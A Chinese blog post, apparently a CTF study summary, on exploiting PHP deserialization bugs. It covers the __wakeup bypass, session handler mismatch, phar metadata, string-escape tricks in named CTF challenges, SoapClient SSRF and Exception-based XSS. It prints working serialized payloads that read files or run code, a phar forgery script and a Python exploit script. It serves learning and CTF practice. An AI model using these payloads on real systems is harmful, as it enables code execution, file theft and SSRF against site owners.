反序列化漏洞利用总结
反序列化无论在CTF比赛中,抑或是实战渗透中都起着重要作用,而这一直都是我的弱项之一,所以写一篇反序列化利用总结来深入学习一下
<!-- more -->
简单介绍
(反)序列化只是给我们传递对象提供了一种简单的方法。
serialize()
将一个对象转换成一个字符串unserialize()
将字符串还原为一个对象
在本质上,反序列化的数据是没有危害的,但是当反序列化数据是用户可控时,这时就会产生一些预期外的结果,也就可能存在危害
因此,反序列化的危害,关键在于可控或不可控,而我们找反序列化漏洞时,数据的可控与不可控也是一处着力点
在本文,不会着重讨论反序列化漏洞的形成原理,这已经被其他师傅讲得很透彻了,我在这里只是稍微总结一下思路,仅此而已
漏洞成因即利用思路
才疏学浅,若有错误,多加包涵
Magic function
Magic function,即我们常说的魔术方法,我们的反序列化漏洞也常常与这些相挂钩
__construct()
:构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。__destruct()
:析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。__wakeup()
:如前所提,unserialize()时会检查是否存在__wakeup()
,如果存在,则会优先调用__wakeup()
方法。__toString()
:用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。__sleep()
:用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。
利用方式
__wakeup()
对应的CVE编号:CVE-2016-7124
存在的php版本: PHP5.6.25之前版本和7.0.10之前的7.x版本
漏洞成因:当对象的属性(变量)数大于实际的个数时,
__wakeup
可以被被绕过
demo
<?php
highlight_file(__FILE__);
error_reporting(0);
class convent{
var $warn = "No hacker.";
function __destruct(){
eval($this->warn);
}
function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>
这边的 __wakeup
是事件型的,如果没遇到unserialize
就永远不会触发了,所以我们得先搞清楚先执行哪个方法,再执行哪个方法。
在这里,经过测试,我们可以得出__wakeup
优先级高于 __destruct()
因为遇到了unserialize
得先执行 __wakeup
里面的内容,才能跑到我们想要的 __destruct()
里面,所以得绕过这个 __wakeup
怎么绕过?
只要对象的属性(变量)数大于实际的个数时,__wakeup
就可以被被绕过
<?php
class convent{
var $warn = "phpinfo();";
function __destruct(){
}
}
$a = new convent();
$b = serialize($a);
print_r($b);//O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";}
?>
然后更改变量数即可
O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";} >> O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}
存在多个魔法方法时,要弄清哪个魔法方法的优先级高
PHP session反序列化
这在我之前一篇文章其实已经介绍得差不多了
漏洞成因:其主要原理就是利用序列化的引擎和反序列化的引擎不一致时,引擎之间的差异产生序列化注入漏洞
demo
在之前的高校战疫中考查过, 利用的就是php session的序列化机制差异导致的注入漏洞
相关题目: http://web.jarvisoj.com:32784/
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
仔细看了一遍发现题目没有入口,注意到有ini_set('session.serialize_handler', 'php')
存在,猜测是否为session反序列化漏洞
看一下phpinfo
local value(当前目录,会覆盖master value内容):phpmaster value(主目录,php.ini里面的内容):php_serialize
这就很明显存在session反序列化漏洞了
当一个上传在处理中,同时POST
一个与INI
中设置的session.upload_progress.name
同名变量时,当PHP
检测到这种POST
请求时,它会在$_SESSION
中添加一组数据,索引是 session.upload_progress.prefix
与 session.upload_progress.name
连接在一起的值。
所以可以通过Session Upload Progress
来设置session
允许上传且结束后不清除数据,这样更有利于利用
我们在html网页源码上加入以下代码
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
接下来就是考虑怎么利用了,我们可以利用反序列化数据可控来达成我们的目的
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
?>
为了防止被转义,我们在双引号前加上反斜杠\
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
抓包上传,将filename
改成我们的payload(要INI
中设置的session.upload_progress.name
同名变量)
这样我们就可以看到当前目录的文件了,再去phpinfo中查看当前目录
更改payload,利用print_r
来读取目标文件
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
phar 反序列化
phar
在网上已经有很多解释了,这里就不过多赘述,简单来说phar
就是php
压缩文档,不经过解压就能被 php
访问并执行
前提条件
php.ini中设置为phar.readonly=Off
php version>=5.3.0
漏洞成因:
phar
存储的meta-data
信息以序列化方式存储,当文件操作函数(file_exists()
、is_dir()
等)通过phar://
伪协议解析phar
文件时就会将数据反序列化,并且可以不依赖unserialize()
直接进行反序列化操作。
demo
根据文件结构我们来自己构建一个phar
文件,php
内置了一个Phar
类来处理相关操作
<?php
class User{
var $name;
function __destruct(){
echo "Blackwatch";
}
}
@unlink("test.phar");
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
$o = new User();
$o->name = "test";
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "Blackwatch");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
可以很明显看到我们的manifest
(也就是meta-data
)是以序列号形式存储的
在上面的demo中我们可以看到,当文件系统函数的参数可控时,我们可以在不调用unserialize()
的情况下进行反序列化操作,其他函数也是可以的
phar反序列化可以利用的函数
phar文件伪造
因为php对phar文件的识别是通过文件头stub
来识别的,更准确的说是__HALT_COMPILER();?>
这段代码,对于前面的内容和后缀名是没有要求的,我们可以利用这个特性将phar伪装成其他文件进行上传
phar 文件能够上传
文件操作函数参数可控,
:
,/
phar
等特殊字符没有被过滤有可用的魔术方法作为”跳板”
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
例题:SWPUCTF2018 SimplePHP
bypass phar:// 不能出现在首部
这时我们我们可以利用compress.zlib://
或compress.bzip2://
函数,compress.zlib://
和compress.bzip2://
同样适用于phar://
payload
compress.zlib://phar://phar.phar/test.txt
例题:巅峰极客 2020 babyphp2
字符逃逸
PHP 在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外),并且是根据长度判断内容的 .当长度不对应的时候会出现报错
可以反序列化类中不存在的元素
漏洞成因:利用序列化后的数据经过过滤后出现字符变多或变少,导致字符串逃逸
字符串变多
[0CTF 2016]piapiapia
扫描目录发现有WWW.ZIP
泄露,下载后用Seay源码审计一下
而我们对源码全局搜索时发现,只有config.php存在flag字段的内容,因此可以分析我们的初步思路
因为在profile.php 中: 存在文件操作函数
file_get_contents()
以及可控的参数photo
,如果photo
为config.php 就能读取到flagprofile.php
update.php
class.php
我们可以看到这里的正则过滤掉了where(5)替换成了hacker(6)
在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化
我们注册后来抓个包,发现数组中元素的传递nickname也是位于photo之前的,所以我们可以想办法让nickname足够长,把upload那部分字段给”挤出去”
这就是反序列化长度变化尾部字符串逃逸
我们的目标是使photo字段的内容为config.php所以我们要的序列化数据闭合应为:";}s:5:"photo";s:10:"config.php";}
,34个字符
我们的目的是将";}s:5:"photo";s:10:"config.php";}
插入序列化的字符串里面去,这个的长度为34,所以我们要挤出来34位,不然就成了nickname的值了
where(5)会替换成hacker(6),长度加1,所以我们要构造34个where
";}
是为了闭合nickname部分,而后面这部分s:5:"photo";s:10:"config.php";}
,就单独成为了 photo 的部分( 尾部字符串逃逸 ),到达效果
使用数组绕过nickname长度限制
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
发包后在/profile.php
页面复制头像的地址,进行base64decode得到flag
字符串变少
也有师傅称之为对象逃逸
俺没对象所以不用这个名称
原理与上者差不多,是经过序列化-->敏感字替换为空(长度变短)-->反序列化的过程之后再输出结果
直接看题
[安洵杯 2019]easy_serialize_php
源码如下
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
根据提示我们可以在phpinfo中看到flag 在 d0g3_f1ag.php
这个文件中,直接读取是不行的
$_SESSION
数组中有 user, funciton, img
这三个属性
img的值我们是控制不了的,进而无法读取到目标文件
我们把注意力转移到函数serialize
上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,而这层过滤函数会干扰序列化后的数据
而且extract($_POST)
存在变量覆盖漏洞
所以我们可以在这上面做文章
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对
当我们令_SESSION[user]为flagflagflagflagflagflag时,正常情况下序列化后的数据是这样的:正常情况下,序列化后的数据应为
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
但是因为过滤的原因,会变成这样
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
可以看到,user的内容已经变为空,但是长度还是24,那么反序列化时就会自动往后读取24位,会读取到";s:8:"function";s:59:"a
";s:8:"function";s:59:"a
其长度为24,作为一个整体成了user的值
因为php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而我们可以看到这是以{作为序列化内容的起点,}作为序列化内容的终点
后面";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
这部分被舍弃
因此我们可以控制$userinfo["img"]的值,达到任意文件读取的效果
所以payload为
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
读取完d0g3_f1ag.php
后,得到下一个hint,获取到flag文件名
Pop chain
严格来说,这更多像一种方法,就像玩乐高一样把一个个魔术方法串联起来,POP CHAIN 更多的是在类之间,方法之间的调用上,由于方法的参数可控存在危险函数,导致了漏洞,,实也是在代码逻辑上出现的问题
在编写Pop 链的exp的时候,,类的框架几乎不变,只需要做一些修改
pop chain的构造这里就不展开讨论了,毕竟这点位置来讲还不如去看一下github上师傅们挖出来的链实在,后面有机会可以写一下反序列化链构造的思路
SoapClient
SoapClient 类搭配CRLF注入可以实现SSRF, 在本地生成payload的时候,需要修改php.ini
中的 ;extension soap
将注释删掉即可
漏洞成因:因为SoapClient 类会调用
__call
方法,当执行一个不存在的方法时,被调用,从而实现ssrf
exp
<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>
LCTF 2018 bestphp's revenge
exp
import requests
import re
url = "http://7c3ee1c8-bf16-4e25-bd02-db385135a819.node4.buuoj.cn/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler': 'php_serialize'}
res = r.post(url=url+'?f=session_start&name='+payload, data=data)
# print(res.text)
res = r.get(url)
# print(res.text)
data = {'b':'call_user_func'}
res = r.post(url=url+'?f=extract', data=data)
res = r.post(url=url+'?f=extract', data=data) # 相当于刷新页面
sessionid = re.findall(r'string\(26\) "(.*?)"', res.text)
cookie = {"Cookie": "PHPSESSID=" + sessionid[0]}
res = r.get(url, headers=cookie)
print(res.text)
Exception
与SoapClient一样,是属于PHP原生类
漏洞成因:php 的原生类中的
Error
和Exception
中内置了toString
方法, 可能造成xss漏洞
<?php
$s = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($s));
?>
总结
除了上面这些,还可以和sql注入,命令执行等结合,这里就不再一一赘述,php反序列化漏洞的利用,其实是与xss,sql注入等十分相似的,都是一种闭合-构造,以改变原本代码结构进而达到漏洞利用的目的的思路
相关文章
- 1条评论
- 夙世暗喜2022-05-28 08:41:06
- ON["user"] = 'guest';$_SESSION['function'] = $function;extract($_POST);if(!$function){ echo '<a h